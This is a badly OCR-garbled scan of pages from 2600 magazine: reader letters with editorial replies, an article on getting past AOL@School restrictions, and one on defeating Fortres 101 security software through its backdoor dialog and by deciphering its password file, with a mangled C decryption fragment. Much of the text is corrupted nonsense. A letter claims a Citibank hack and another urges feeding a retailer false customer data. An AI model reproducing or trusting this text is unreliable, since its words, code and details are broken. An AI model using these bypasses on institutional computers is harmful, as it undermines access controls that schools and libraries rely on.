. ...wﬂ.u...ﬁ..._n. .m_".._._....q.,m what e’y lf abvr.
et 2600
% Toied - u...uE nn__:ﬁ interesting. [ wock for 2 com
pany cuar hed 4 eanimet with BallSouch eod [ work ina
Bl S0tk buibling on Bl Sl amputers. [ihooght
zhout =ying i pull a pracical joke and buring some
of yrir magerines 2nd leoving them zroesd e boild-
ini. Eemp wg the poaosd wark,
civibsurveydrafi
e @ideg diewH @ veEE dapesoas paad

Dhar 2éekd:

I jusz warsed ta szy that [ firally got voor Fall 2000
coer. Ive Bernt Iooking ab thal oaver ever sines [
A ul, darimg my fricads o call G pesnber and Gg-
e cur wiha or what it was. Tut tve moment of imspira-
rict hip el Thans nog a phece nnovher &2 all; ics ohe
Eenarvidecimal addoess Of s 3L G Mice

0w the way, that was a gresd article by ASM_dood.
Keap i rhe good wiock, especial by fe covers?

Lot

Dear e

| gasr wanrert oo say thar | bave nog anly beoaghr
seviral Qs of J0O 10 siheel, but seme of my
tezchers bave asked to bomow isspes. My civics
tercher madks a copy of that 2wicls in 1704 shoar jucy
nulliGezatEon (sl hadn ™t beand Uik, Mine 1'm ool sa-
ing that yoa shoubd ke your 2850% 4 school and
shiow tham oo poor t2achers, I'mjost eaying thar sanse
Femchers soe Soal BRAU. TRl 1ot zay et non-
arme wrote 2 greal datier in D301, I really desoribes cur
syeadmin, wha's never beard of Limuox. Ard the 01
cand idiea is grear 1 oar schoot s 10, I'm deing
that. [ just wanl B ke whon: this pay 1eaches!

Manmy

Tl et _..._..r i St Gl “hringr poue JEAD fo
ronoed goy" Iy iR HRR L o e,
Dear 2o

The beiedf wricls “Brranpe Lave,” (13:10 in which
lke auter deseribes how he willingly paszed on the
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Amna Knumizava vimzs, was excallenr. The aolle's
Balacr o7 10 A porsanal imsiah? is rare in ey pub
Tivative, bol I'm parteulzs impressed o kave seenicin
20 Kezp upthz pocd woory : :
. ; ¥Waldn
Thaar 26000 N i
Theerocar of saur last s, 1301, 32 abetluils in-

vrafibe. 1 doa't think 1"ve ever s=en 2 cover somean-

imgfol. The “Fipas fusrias Uncier Law™ veisags oo s
laelling belind the riot-gearsnd pelicermen, baions
ready o smash anyore wha orosses the “Pelve Line™
Parrsrr, shives @0 wesll fad iecasy of Ors jostsxas sesivm in
ke Umritcd Suazes amd probeble ather coevriss, The
Fiche, inthis coss wanh many cnaes: than a Fegsaud
wirds, s cleardy indicats: tat the law of the lend may
i Jomger be i the hamds of the conns, end rhe onuns
JAS WRTVE RPN WAL S0 ANy (RG] s el pvsn up
Eralaf this T,
Conming Lispsio
Lhcan 26
[ just want poa 20 knoee thar these zoe sill piacss
rthar Jden 't wiew Fackers &5 the oA sicsac G, The
ey wheee 1 work koows mie Cer ahiat [ am, Mo
uely has thal Zkewed me special beceris {us, nyvn-
ishad snaspengl, ol Eaytims thae sl belp with the
nekwock o Brws ol compeleT questions, they re.
spectiully ask mz zmd [ help. Unfarmnarely, 15es) foar
e wayy things Sog pedog is e pest o the courlry, this
might mo! las loog, Adse, T book forwand dn page 33
avery 155Ue o,
[ocd prefeci

Dhger 2600

T have alnaps wanrad noenbecripeive: s 200 bl |
s o mel no o wegubd over by me e, Mo
thimks ta yoor maopesne, [ hacked the shir o= nf
CitiBark and  mow e sccuoanlared v
S1AREELDOO 1 spew] on md enly g sebsomiplion,
bl @ bunch of olber weless shicll!! Fhanks vou
ganerirl!

Josr playis’

Rate
Toune re @ rezd Jusssy pav
Dhir 600
Tjuse wanted i el you how impressad T am with
the mestrg syerem vom have sl o I Fas a ols
plited cpan tha! 1 oen perserally albest o Over spring
break. T éock a wip oo Mzly, sow the siehes, did ineesty
thimgs, Tre evemng after (g day in Milen, b Eael |
wak slariig gl bed & reallv. really old comparer MNabe
mallv. [ checked io o waw 2800 com. 1 was browsing
.._._q..___m‘_.. thar meaings, o] pealle Gapocting [ Jicdd any
in leady, Lot Zem 1 molianl semedhing peculiar, To my
exireme surprise. te [aly lsting s26 “Milan® Piazza
Toneroy in franr of Melvnakd™s ™ 1 aehed almy wat.
Thoz liret Friday ic Murch, & om. T hd spent 21l dzy =
e Flarea Lonepo 2nd 2ven had dinmes inthar ¥eDan-
alid’s, ard 1 Rad sessed the mogting! 1 olad Gome
lalTway saiss the varh o o completely foreizm couan
iy ard [ had missed a msezing not cen feer away free
me! By angaicked ey diazarbad he hidid sialT no ewd,

L' 1el? you tmal, Acyeay, just toughn vou shoald
ko thar sven theazgh [ regrer meseies thal 2xacting
wnnl 1 iz, | owas elny bnprisand oy G rue glokal
neach of hacker culeure, 2od 28530 specifically. Cen-
grars!
’ Thoms

fndividugl ?Eﬁmﬁh@

Dheur 2epa
[ pdn'y e bagkar of cracken Bt | Enew o shit
aboul wome shib [ know o could gel my pword or
oot shiz dike thet, Bur 1 just goc back inno cowe semne
Egpal tooeshle o saees - anaboas Becher gels Jockel
Yeah thar was me. Gut whal heppened e Minzic was
Rull. Srevy | am a hnle dunk. Back the LS Fock 17:
e, Wb iy 3L Jor whab 26 18 e Dive Cor
GOOD EYE EAIMB ARS SPYTH LS Gy
KHIt
W, ot dig wed oovee o Calme, Bxrwes oot bisp
Wi A e s b

Ihar 268
There is a mztter of uemis! isnportance thar T mist
relay mooyan et analys 1 ean san S epps
Lril Young
M man can car S ocpgs
Ihenr 206000
L bad a Tivle Fam ab wock today 2rd gob the word ouc
al the rame fione. I'm a2 law fikrerian far o conety laay
Imeary end & FOF peadan, Az woo ozl isaaing iz
infatabed in law and computers. [ oflen smeem 2odio
from the T=d=mmer and dhe Lawyers asd padpes deetr
exarn booeniod S e | anissaad T wiegk s boveshioasl
sl G ke Howl, [ kooght wha! e heci why nol lis
len while T worked. It was pretry grezs. | had o perse-
cumal core in and 25t abcer e SegeShiller e
Foraime: fxkald mas whal [ was llenizg o Sul oo cre
aajecizd. T ikdnk they thoopht it was kind of crerd he-
cause for che st pos the shis was full ol beged el
Arwsy [itenk [ Aroks some new pround and, now
Uit B wr poltsn away with it ancs, thers's mo SIAfping
o Fast wevtsd v A karsa yoas Do Teicrds dn O
i er ke phacss,
kot

Dear 2o

oz weriting in response o Erven iz 174 where he
Ltlzs aboul practically boveortag He M bocanse ry
one 2 seper Chsn TTas guy is ehvedously wiacked oul
o atsethineg. Hene™s G locg and short of B2 Tind of
all, why be goex ra the Vrunechawing barely-1-1srans
Taeger” as b paean, PO peyver heoow, Mlaybe 505 a0
Frewd pxsue, B wosn' hugged envcgh, Dout le's retio
nlly Epurs chis oo 2600 5 a quamerly maganine,
Coening Gur A vany sialepic Bnws, [ buy my sue
Treon g B&e™ all 5 limne because when | walk in chey
bave abaur 20 comizs, pradoamenanedy dieplayed i their
mEgard TACK Wil e eorvers Tading vl al albaol e
sl sheil doen, poling them righe ar eye Jevel,
Ard they are neheoot in fronk Sochas & hans. See-
ool B M croprkaps Fumddeads oF pecpls por sieee {30
liatsk i1 seaies lise bomdrods), Aod it's easy Lo ged a jub
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hers. § iy sy rngeeioe anound Thanksgiving, when
the colleye girls are home e vises e facalics o7 s
i of Thanks. 1 iy i nesr cos when sohesds ame i
soing Wity Enzak The springlime issue matches ap
with 3pring Break., ard Fnzlly the sames i iods
alf s Podries bnone fia the vacalivn, Teew sl nesd
jobs and Bk gravicusly emplays them. Sed prok noy
ey o find map, Breondl upoas e cocnts whaanr wons
1823 wear okl Lolirta 33 wocking Cie register She sees
me buving o “hacker™ mzg, soimmedansy che ar-
rcred o My dangercis sids, Uen paving with the plat
imuen <A Lertice Ber hrow dhat  have snourszins, of
daid, like a pood herd working, ssabb: Ameriso wale
sheadd. Ardd nead danp o kosy U belly bumgin®
causs =he Goplde’L veniain hemeif. Thark woo 246000 fr
siving me pleaty of excuses 3 v 1 lows ‘wm 2o
Javve ‘e And rhink yeo BN Do stocking the grest-
n_....u._.u.n_...:u_r._,._ : ey
< haab1 220
= As e, o ﬂ.n.shm._u n...p..ﬁ?_.p_. ta _.Tﬁ 2 RHIGEF
E...h_.._..._q_.._._.,.n

Clarification

Dear 25K

The lzmmer S jws_Uin 1734 drzws 2 paralle] cha
simrply dves mod esZsl jys_Folams thar bath e chiicch
and the MPAA 2re ppprecsivs _.r?.h_._.w. ez Tl ot
wndsmrand whar heic ddeas wene” Tha is 2 overy
el and vooe Jdingenoes wav of lnakong of rinps
They definitely wodersond when w'vs saxing, Uy
urderseard ol cie i B s the danper I pases oo them
afed 1lotic praer dinocbame, Dho mod painr shis proassss-
Lo s e rasule of naivery - an s mee el of o
lat=d FEAFTIIRG B niaicdain pos

Esnlge

Brewar 2e:

Ewe pocentty v kel Divspair, Ine. bas regisrersd
She: Toveemiy emativon %) copyrighaed ir,and i plan-
Zing to R Tanpore ard senons whid uees e sa-
called ‘rrowny” s, Go our redemarked lego, in
Coer wrillen comdil comespordence., Frer

Gops. Tocks i T mighr per a ol cvrpocale Jo-
Lerhzacd erewn. Tais is 1l Fpwwsl of che bow fur cocpe
ran Aapactiva.

Shades Frg

Flozee 2l uy pow wene peany fat SU0E is 5 foks,
Lhpeair I fumnederpainc e | dSofnes 9 aniping o
e comipERy DA wsudd ceenid diadalied cusomers
in rhe peoveds of erpleiing demareiized empiovecs
Al slling overprized and mafocrne prodeed Lo se-
medicre the probioes cauend by the v nevesss G-
Fet Y Tl n il 2Re dowuT
Dear Faog:

1 zon wrding this w prenn gur g gligh? Jiscrepercy
e o your wticles in D704, On page 22, LeXer's or-
Lcle abaes BficmeSol s mebrerscd of e BT 40
MECE mack soared onthe Fast prusicaph Gl the A+
...,._q_._.rn_...._?.. i# a Mizieal! cerlilivation. This is oot
roe The A+ cerlificarion is a verdor neotinl cemiroa-
ticat desigmed o provids o benchoark by which ouen-

frurer eshmicians coull b lestad. MernSodt may have
wiertrbured 4 fe @xans, bur na meone o Glbuer <oim-
pamizs moch o Hes b Fagkeol, Cloanpay. =d others,
T As dlilivalion is sdminisened and awended by
ComaTLA. Mors infarmaton zhanr £0s and Sl vien-
nr P ral e lificalives can b foured an their wekb site
Cwwwnlp L ongh

Criven iz infarmacan, 1 God 8 okl i beliowe
IRAr Les®er™s insirociar wroly questons for the Ao cer.
Iivsios exam 24 ke mencansd inozhe amicle, His is-
struckos miay Favee bod o olpoor b Sonlibaly b e
il vrarn soee CompTlA solicics S8Es (Sakject
Mlaller Gxperts) whan dw exmn i Dmap dessgned, bl
AMEs coly conmbole imlocztion on whal areas
shiull b pewied, Thew da mot individualiy eampazs
the quesEans.

g u_mrn d.r__...._u_:.__.__

Dar 26000 7 s T

I ..n."_.ﬂnﬂ.,.. Wy _“.MH 15 l.,_.m__u.u“_.__.? Fhudk w_._.r
Banhiry =_.H.._...“ [ 1k oo ?..ﬁ_._._ i few E?n.a.s_._ﬂ
Eirstaf 2, coe MT &0 mracki b T naaginal saans
imabrnneed Ao Taed clecives | Wodkes zioe, Server, Cn
Ty, and Melworking Dssencizis), [xerails aoe an
“weacn mAcromn L oomarsninsa s ere s e fau B s
L Rzoomdly, 1 assuse yoa il ds guile possible o pass all
the: sl with just books for S600 - S10KF far each
exam Also, Micraeedt dowe oty an opecade cram
Cvindies MHAY acdcheralod), Mow [ share vour disszr.
islaction with Micrisol, hut of von're going o slan
un the company, deosa far the diphs fesseees, ol be-
s s hdwie 35w Catibaions go 2 Jong way for
I'T pralessiveals in Undx, NT, =d 2ven Linux. 115 a
puied way o gickly pas womr roed i b b s,
“Wew, T om prediiant 81 5olioieBed HawNT. As 2 pro
izl ol otk 2400 and [Tee speschy, T knevws thot mus-
informaton can k= a prear encmy - this iocloades
prouzaceda passad doen Boa cerpenstions as sell oz
migmlanaion fom witvin our omm camen
Meass die s a favor and ab s rassardy yoae @b
befnrs passicg an s hearsay as Tads,

Oblode

Dhear 240
Fuosr af el 1 corly vy Coued ool gboe? yous
publiczalion su 1 kaven’| been reading kong. Bur wha |
have rezd, 1 have Joved. T gor 2 burch of ek issucs
amd ome el i pamelan choghl oy o in Bsue
b Dok fapparenily = klemarkeier) wrnee on sayong
that the enly way wo remave vour names foen theic 2l
ang DAr s oo erevielt 1he sonipeas T whbom Cee survey
B bine Gonwe 2 pol pour caces remeved from
sl While chis is techmically comess, i 15 w00 Fus anly
way ro keep cabamariearas Froom calling vou, Telemar
heting veanpenics ar reguined S0 eep 2 Yda mat call”
lisL Any calling lisis thet come in st be etk
zzzinsechis lisc 20 iF w5 o0 e ), oy are re
it 1zoen (e imeoicing List. Thesefars, if yra ome
lled by a tzlemarkerern, wherer o s g wecyp
szlesperson, o a func-raiser, sy el ne oe vour “Da
sl Al L™ sl ey ane reguined o compiy. [F wom
sy, Remove me o wodr lis2," they dna't nece s -
ily have 1o (somecines, like io CpR s case | they can't,
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T i gt

ond even If they do vour pame will ke oo the neel s
thar comes in vyrway. Hew do T knowe this? Unfoco-
nalely 1 was ielomarkaior for ovsr a year, befiore being
nsked to Jeave for messing with the compeias, Al L
Jid was twosk the inrerfzce a limle, ket it was encugh
to scure thean Anyway, 1 bops this anfy is hefpfal in
peming rid of 27 dwose 2omaying calls.

A NGNS
Dear Ja:

1 ants siging in ro inform vour readers that the 2ro-
£le, 2tthecgh cormesd Lo the seeMuidd af Cuelian thar iz
depicted in the nrticle, ocher ravsbezlds have been re-
leased fodder o poavr depending on when you o
your CueCat and when the aricle was oraiiad. [ havwe
never 1and enire gnd T o by this standand policy: when
buxing Fom Eadio Shack or any offes Tig ssoane whin
wants my info, [ tell them my info 15 cark and iF ey
Ll s Wl mesd vsne infe like name, address, zip [
telf chemn to put in the slore™s by, Mice is poovane, 1
thax fales pereom becomes pissed off, [ dare he'she o
vall the imsapagen v, ek cxplain to kim tar my info
is mime, that 1l s ool nequined Tor the w0 ransaction
1o happen, [f ke pives me lip, T pet his name 2nd call
his corporate olfka: ey GelE phone i his store,

He cannot loech me sizoe hat would be assaall,
bt b Czint asks e b beave. That as alll

St

Toaer parthed secms a bt comibmiive ot iF may be
approprcle dn eertain siwarians, W prgier die @p
Frecok of giving Rodie Seach el gen addsdid o
serad ek et Bhar wawld kaopen [ evenns
sterred e pive J0 Thoovemneasd Sreeer & VB0 Fart
Worzh, TX FEIGF ary their coddfoeas? [Thars Radio
Yoz K corporane affoe. ) fr will e inferesting fe pee i
enfering it dddreis w2 e s o alarms §F foee-
dreds or Ssisandrof neonle wre 10 wery 2ie ey by
fazrerias, Moz o'y ore way of reminding Radie ,_.q._"sR._"
el june dnformuacinnd 35 peavane. [EReever deey E_h
first should give 8I7-415-3700 ay the phane =§fl
o ghar che address (1 @uremaically cailted wn in _.._um.__.u..

fevre = w e s O ey Ader A marier Jatabare or =%

i each stare cros-refereecey phume wombery 1ooad-
dresres, This r ane sure way da fimd our

Dhesar 26004

Om your List of 3600 mevting places, yau list che
Arlagton (Pemoern Ciodd ander ~Districl of Calum-
bia,™ bl ool uosckiy Wirginis. [15 technicelly locaisd io
Wirginia Mayhe vou coudd aleo lis i pnder Virgioia. T
liva right near thase 2md for the Jangest Gim: 1 dida’s
dnk there was 4 nernng near me beczsse theme's
noching under Vingimia.

| E=TH

O, fre I iy chone
Dear Jadb:

W bt coreer day at my school and T foumld reau
15188 tidbdls won waght wang m Enapw.

13 Carnivore is being wiod in Sacracnente, When [
sk the represenrarive of the FRT bow Carmivon was
wurking vaf Gor o, b paee e & Blank kaak. How
eveT, after a lidle conversing, be was pocaed oo sy har

yrg, irskaed, fwe wee saveral apants working on 2o
Ye-madl menitoring thing." Saccannio i3 & Sereahar
senzll pown and szl arsa, berl, seconling o =z FEL
apenl, moss of the 15Ps an che zrea are 52 up to maocd-
tor e-mail abdch i efartling sines lafpe Ress hove
prodabdy hod this for 2while now.,

23 [ el m paiveane sevtor cybercrime imvestiganor
who was actnally cool. They tacked down podoglakes,
v, fond poaple who caused damage alier breshing
ien svsiems - basically vast of the aneshical oz
g, Afer speaking with him though, 1 lesmal ey ais
not reelly eonesnoed with hackers that Follow the
hackar ahic, hut are mooe cooceriad with credic cond
thvis, crpanizesd crime. and most of the pasty bings
that are illegal wddine a3 well Al he's cranies with
sren peaple from the LOphL, has poblisteal seewthing
im 2500 s=6d Founededd the local 2850 meeting, Dverall
he was well spoken and mees ¢hzs than meoss people T
krow and it goes in shows thal evon Mseli-oons” am-
Lribaule b s Sa0IUERITY

Hcabhy
An imeresning aicls on Camivene sppecr o
Foyr .
henr 2o

Firsa aff, prear magarice - keep it up. Scocpd., -
garding the better freo —ohacan-- in 18:1, the giso of the
lemer was that overpaying your ralfic Gcker eed no
cezhing the refird check will prevent vour tickel from
being meporiol.

Aee warasnopes comfauloslasdicker hem fog g
oiher take an this one (e Urban Legends Referenos
Fagel.

Arrway. a beller ddea I avaidang tickers and the
actuarie] cmpact wonld ke for ane of those Fancy vers
[l omies thal pive won diceetinas wirh the compoter
voace ] 1o keep a database of koown spie] apes f wes

driver. This ....._ul._n_ b greal _n..".wmq.w.__.r._. whicoe rdar

m._mwn i il L
..... _E:r. .ﬁ... “ ....__. ......w.. 5T .u.m_ _f.” .__*.m

i & i i B B & . .+
JHEStions

L=

Drear 2400
Tell me where wewrw 2 rez] lmcksass.oom
sepls wou 108 oy Gl
M
Wil s wou i el

Drear 2600

Ume day 1 was fooling around with the digital cabk:
b that Time Warner renks Gut 1o it subscribers (503
enllic Awecics Explers 2000 and Erund & neat L
fearare. If you book & the Froml of the bos apd press
and bnld domm the diarmond berton abong with the bae-
Lo Chat £ dn e conidaTks of G wolichan bunens, after &
while the light above the s mail ion oo the s
eLarta ro hlink, Press the diamond humon 2gzm and
vaika! A Jiagikrsli: sorien of a0 500 pops zp. s
e wolumne buttons on the bex do scoed] Groaph the
waricds menis (13 inoalf) Usicg this meoa, [ found
that the Box runs an applcaran calkad “Sorah" and [
alzo found 2 mene that has something abiag all of the:

Page 38

2600 Magazine

pepecls of PPV If 2mpone goes o this meoa and fimds
] -h......ﬁ:nﬂ..&?.a_:_ L 20K kners with a lemer.

I Huse

Thear 26040
[ ot a bug B read e Preccd Files again and was
arving 12 find the archdves. Either b pagos poildd
sires Bar did nee ewist anyriars, of they only contained
1 [ew plstings. 1 Phreack s2ill kopa? IF 50, whers cen
Ylake (5
Ty wnfermnets (Rar thiv esime 5 o longer maiin-
saimedd O Wwwpkrackeoss W fsd aroliived 1 o the
JOEE eife in the pres! wflen 0T :.__E...._w._a__u_..u.w__”_. aratichle
sfecewhens, W discaniinned thiv when i apreared i
a langer fe mreded, T wosis b proferalys frameane
eeher shan s picked wpr phe mlack thid rlese dlace 20 de-
PornAr T kave maliiple vedoer in sie bocker commma-
mry. Fven bwnter werakd e U rosmrone rodved Zhe
pahiicatian ar wared 0 new owe el anpeaced s
Fregencly and with rte gpini of the early lirees
Dhanr 2600
I wes reading the Jetlers in L724 and [ nodioal ke
peok wer wninng in aboce e viros dhey goc that
ok e G g 1 wewew 20 0o, My sasier warks far
tirsvhound and appesently everyene in Qwir syston
2ol that gne. She broaght home acopy af the source
that she printed oot L sgopored o S samecane in
Caolommbia as 2 dedication o “all te people wiu wanl
o ke hackas ar crackers, in Colombia™ aad also o
prvtest b corroption ez, 1 nor much of 2 pro-
gremmer (ol ally bot 3t books like i's supporsad o
chanps picre s, mpds, znd odit the registry. Tun
Sor W wiale Ceanily, [ goess AN, please sl me thar
frose thres letters from “Kadz 5 MeBaoeer™ ol Borar-
epy Asencianes wers 2 joke. Al Fools, rig?
SFAM Lol (ihe canned meat, oot nasll}
He, 12 war roal spem Rar they Se swdling we i
seanied st Al we priuned i e over

Dnsar 260

Who pubtishes vour magasine o ts il el publist-
ing?

Billy Mo

It puitizshos @il we oen b oeem e slap il
Dhi=sr 2ol

' ool weme whoo 1wk ash s 1, Tl e prd a
guesticn concerning e legality of 2 domedn paze. I
mighr s i bad rasss, Bt B oregistered chis domain
M Lo preserye [ee speach 1 e anethiog kegelly
wrong with paring e domain name wrara killyor-
clessmmanes ooen? Alee, ve regiszzoed che name of my
ooy, plus “policadsurizcal”. i there anything
geainst the law about that? Like. 30 [ lived tn Dineeer, |
wauld - base  eepistensd weww derverpolicedepart
maepl oo, aikl v denycrped aom’?

TieBelasd

Thers% noiking gl ahosr had nasra, e whils
“kiloprcTaremaier.com ' méphi male wove s fuacd of
Frsriier and gor o an a fow (s, fr mens exivienoe iy
perferaly fepicimars, Whar ¥ou chasse re deownk & iy
Wk wif! oetermine poue fepol fatude HER Ak 4

e fatedal an dowe e 20 Sperife peonle wawld
dast wery lang ampwhere, Foue Vpiding depairmnar”
Eirag ane a4 B oot Puning eeide oy ferner feoies
vt o podioe fnce ray AREISS, Foi Ty B rah-
jeot da a fegitimate compioing o confuring the pebiic f
they Lamwkaw milnk siar sie sie acie!ly felowks o
the police aleparimmend af T IR AZE. 17 2l depenas
o Wk vou J wink e site, I vow hovd g Fie deianed
& crenplanets agaiesr the polics, for insfence, we Ge-
Neve Sat wanld be cowmplerely pronreaed, adpeciaily
siare the podine bave ne imkavent fpRi e o oo e
with their pome i i e all depends on wierksr v
cotitd B 500w a5 mirrpreseniing QERTERT
Ukear 2600 ] .
[ awnt s boock oo a Few Jeanens thar wers wrmiien im
1E:1. T belweve trere were tree Ratlers mepanding o
L gt Las ok gpheeripoan [st for whatever
prpeesss. While ['m willing te cgrande shat thers is
protabiy a sizahle minority of readers of 26K who
feaere subrezsive, veckabaeded, of st plain Yimmarel”
actions associaled with their copy of 2000 1 cant
prasp why the pevernment would mistake the vverall
s ol s mresasine B B har of o subversive
nature. T'rn nat oce for conspirscy thooriss, el 1o e
rwpe of persno 2 nod he sorprised if a theory proses
Lo, Do, with tlat said, 1 don's dank 505 time o
goaraund screaming that the sk 33 [afling, L ar g s
srnibaer to woar megarice 2od don't wormy sheut whal
..___ﬂ.n._.__. Eonithy Cainks ghaor e, | oA ﬁ_.uqqr-_n..n Arnesi-
czm and [ love my coumlry very mocks; 1 jesl disapras
efien wirth the government z3d their decisbons. Tww
dissticact wnlitis cotivaly. 1o ear peang o gall an Oiclz-
homz Ciny and In no ey do [inteod 1 cven G0 B
mixh as infenricnally send a frzgmented packet e
way ol 4 gay weh sine, Now far my precenss is sel. 1
am at a1 sreral difemnrma, Poople Ciam 2ol s Drseeasen
thar we hove it had in America from reading yoer mage-
wing: lepwover, with the recent poopaganda poared
eno L Chizese poogls aver thas sy plane ceoe, and
their recent zriacks of govemnmenl web siles with beir
Eiatant anti-Amerlea sareirerd, T am chankful chat we
2t lezsl gel bo have o wmagaging ke Fod, Conple all of
this tegerher and what do we bave? ['m finding il
hardx g3 hander wrth 2ach passing dyy around kay
Doy o shand Bdly ks wlole thess “rdrhs” win cheir oll-
sonceived propagends on my counlcy, Yoor ooghts?
Trouhle TTelix
O rhimg ohopd propapanide D char @ very ........L__.__._..
sanek ool oee direciion. The specifies of e (i
nese incilend asrade, the chaued oy ra Racksrs frem
Extk commiries dod greblaneouicy govet 0wl Wil
Lerk furmmy and oomingns, Now W see Ao oo resnec-
e powddeneas fover of swe abdites. Tha halieve
Racksrs will B e soldiens _n_.._m._r._ rede wagant Fai-
Averalfy, e received mowy inviiciisns fo ke s wer
= alf e wededeeke A feam onizegry ooman! addresees, W
Eman o nedsly ovcdaicde e aeilitacy Wil Dok it
e shemanigams. Bat the preey bougl e siery and
sunieed 30w T @ pahfic, AxG nowe shis 0 Row Nistsey

Conifinued on page 48
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As many of vou MAY O Wy [0 by,
Ameriea Cobices bas boen wionking oo ils
ol schonl prajsct for _..__...m_“a somye iime. [ris
currenily in oo of is laar wating phases beliee
mruiss Telease. They claimn that the purposs of
this projoct is to provide all schools o=t o
e Tor their slodents in a safe, cantrgiled envi-
rooment incleding arcess controls that can be
castorazed to il the @ifenis’ maturity levals,
In actuality, it is p way to censor the Inteenet
and ot sodent imkeresis, Allet all, A,
will knovas the: agas of the stodenis, their goo-
grophizal bocations, amd therr ilenssis [hased
o email arxl Tnternet _._.__..z._m.._._i._.__.m”_. ..m._.._u“.. 1153 4
Froay sereer oo moniee all waffe duaagh the
pezrarn, and, in facl, this same fileer is osed on
heit regular veers. The noced punposs of this
proxy is w0 deennme whether ar nob e sllovs s
webite s combent o be dispineed. 1f i s con-
sidered "unsvitable,” the stadent is presened
wilh & “blucked wehil=" ITessilge,

The entice program is acioally juse a shghtly
viadifeed worsion ol AL, The sign on eqpdions
are “AGL & schoc! member” of “bosoms an
AL & sobool member, IF vou are alresdy &
meinker, iLsimply gives youm o mediGed ekt
sign on soocon, and allows woa towse.. well, 1
hszven ™ guite figured that cul yel what it lets
o do, Almost every keyword s Blocked. all
wicksiics [ wonld bother witk are blocked fin-
cluding m_.__..._._u_._._._w_.nﬂ._u_.n__n sitesl, and .a__..r..ﬁ_u.. liers
are oot even available.

Lir &0l seemns....

After geHing pizsad off that [ had a TS
brocdup ard coaldn™n e anything with it {Bey
remved Intemet Explocer and blocked acoess
o pbzar cvervthing clse wn Wandiras), 1 sirmply
wenl inke Ay Compualer™, putin the weh sd-
fress, and it dnsrant]y rusned aeto Laenser Ex-
plover.

That wasa’t fon. That is all §ezald think of.
s I took a closer look an A0RL 67 sobeoud and
grubhed a copy af the seial numbersigoon
code {which is school speedhel. When | ges

hane, 1 installed AOL as bring woor oo ac-
aese, and legged onto my servics provider.
then set up ADL for o new member, pief in the
seciad 1 gt from schonl, ard voila, 1had an
AOL & school seeount,

O oo what tode: Let's look attls
menus ACL provides for ve (I bove found ACL
50 easier dn use in this siraation tham 600, 1
ranggid gl inky parenle] contrels, il was
only resrricted nya coople of wavs, and
chacped all of oy settings s i would allow me
access i banddy 1ists, etc. This woas sfill n_u.n.,._.._.....
laralek, s [ ireal=cl & new screen marms, and
oave it oeneral goocss, made I a imaser ac-
coank, and enabled sverything, [then meanzged
i get inti the by Tist setup (you may have
10 play aroasd with keywonds arck ballans a lif-
il bt i iso’ oo bacd) &nd put my cwen semeen
s om the Tied, This ensores thas iowdl show
up when [signon al schonl (sinca it i=a"r really
available thore &5 a feiure, bat is kidden within
the legzoy oode of ADOL'S program

I movee have pocess of school {legitiomatcly
throwagh the program the schoat provided med,
ALCCES B0 Ay wobsie, chat rom, huddy Tist,
sl almecst every keaywond Dwisl, Keyvwoend
Urews” is restricled, go fipare, Whe would
wanl bo lsave mews available ot a school any-
wayF

AL s stil] 25 tecnble as cver b s Repl e
wirnsed for aowhile 2t least! Tam soroy Do oot
bizing ble po prisvite the serial number bor i
woald give away my physical locution as it is
in limited tesring ciphn oo, 10 sboald b widely
el siva 1 hops that these of you whae mics
sabrl W this cruel form of punishmen: will be
able o take tus revwiedee arcd hiave s lile fen
cxploring AQL. Just semeenber your eabics.
Pren’L by amythicg fo somzone else's sysrom
s el wanl cbarse o poums!
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-hv Amatus
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Theenagh my high scheol carcer, [ huve
developed an animosity towards a cerlan
pioce of security software for Microsofl
Windows, Forres Oraod - Corpocation
e forires com)  sells this soflwae -
namesd Lortres 101 - mosily o schools, fi-
braries, and samlar isnmnenons.

Acess o he eomporer iz Timited in sev-
erzl ways by Fortres, Tt can Be configured
o contrgl accoss o icons on the deskiop,
tho stam mend, context reenus, Exploner
mcnus, Windows hotkevs, reading, woiliag,
amd exocuting the llesystem, mding aml
wriling the regiairy, asd even web brows-
ing. As vou may bave already poessed, this
uspally interferes wath the normal opera-
tion of many applications. At my ofd high
schond the feacher would disable Forces on
request hocause it interfored with our regre-
lar school work, A zood fend of ne
found that a fake password dialog was an
effective way of peting e admin pass-
wond in this giluation

ALl versions of Fosties (That T krow af)
have a confguration dizlog that can be ac-
cessed by pressing . CTEL=ALT+-
SHIFT+FSC. You arc then prosented with
the password dialeg box. I backdoer pass-
words arc cnabled. & suppoesdly random

number appears o the dialog box caption,
A ome dime use password, alzoa number.
can be geoerated [ooumn 1he backdoor key. A
cill e fechoocal support can supply wou
wilh the Backdoor pazswned or to this fune-
fion, jake your pick.
B0 OTHERT A - roe batedeor aEr
NOTh pnid wdes B e kaTeieer pareec
muﬂ EacobaaPlsesid] DAL s 1

BT

%= CADEIIN By To1.3RM Do P RERRL
EICHE S T B B H
< e I

ELLRSE B S

[ yow can't do this in your head, a “eir-
cernveniion device™ can do i for voa in a
rolter of mtcsoseccads, Pmocurmently
working on sofbware for T calculators, 1
have nnt vet Tonked into writing solftware
for any oiher kandheld devices, as 1 do ol
have any. 1F you are interested in something
like this, cross your lngers amd hops Thave
g weh server Tutulng al amaiss.dossnnes-
Lt

The Backdosr key is nod there? Don™t
winry. Thimdgh zome testing 1 have found
that the file contzining the Porlres pass-
wiord s always readabls, oo matter feow
Fortres is confizured, This meang thar of
vod have the ability 10 execule your cwn
prograrns oo the compiren, you can read
the conliguranon/password file and deci-
pher the password. Almost overy compurcr
I have seen in ahigh schocl kas a CLO-ROM
drive and will ellow wou to execute pro-
grams through the use of a OO with WU-
TORUMINLE Lorres versions 3x and 2.5
passwords can be espanged using hese
funciions.

When Fortres s misconfigured, there
are mamy oany ways i disable it This arti-
<l is mzant to help atlock the oo secure
st langns. Aty old high school we hed
a D5 verson of AuoCATY insmalled on

e e A P PR
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F¢ Cabded v Fopbxes?
FYTE ¥Fonf EY¥TE o, CNORD dwPoa

DHBAD i;

AL

Auics be E: m
seTd i . [ Lo« dwFax; 1++ | H
VR ox s 0xIg 1
x Fx ¥ 1 & 1 K
. H
alce 5
= e d; i
Ceirn X5
i
¢ FAHZLE h#ile - & open [ile Zandle Lo SEZAULT.SGE
JdOLEATE prTapexwcrd - oa prinker ko oA hotber 7o be Eilles witt tha 1nu;tuhm
S8 pHC2s dsiée - rhe Loegze af rhe Biffer poizted ro by sEFascEcrd
¢ The rekyrs valse ta TRUE i thke paeewcrd was gucoesstelly Smeishezel
Aok EepCres?| HAYDLE EFile, LFETR saPassvord, DACRD dwlen
|
@GR Jwaead. L, I
E¥TE Reffac[esfl, Zew[111]:
seb¥ilepelibes| Brile, 204, STLL, FILE_BESIS O
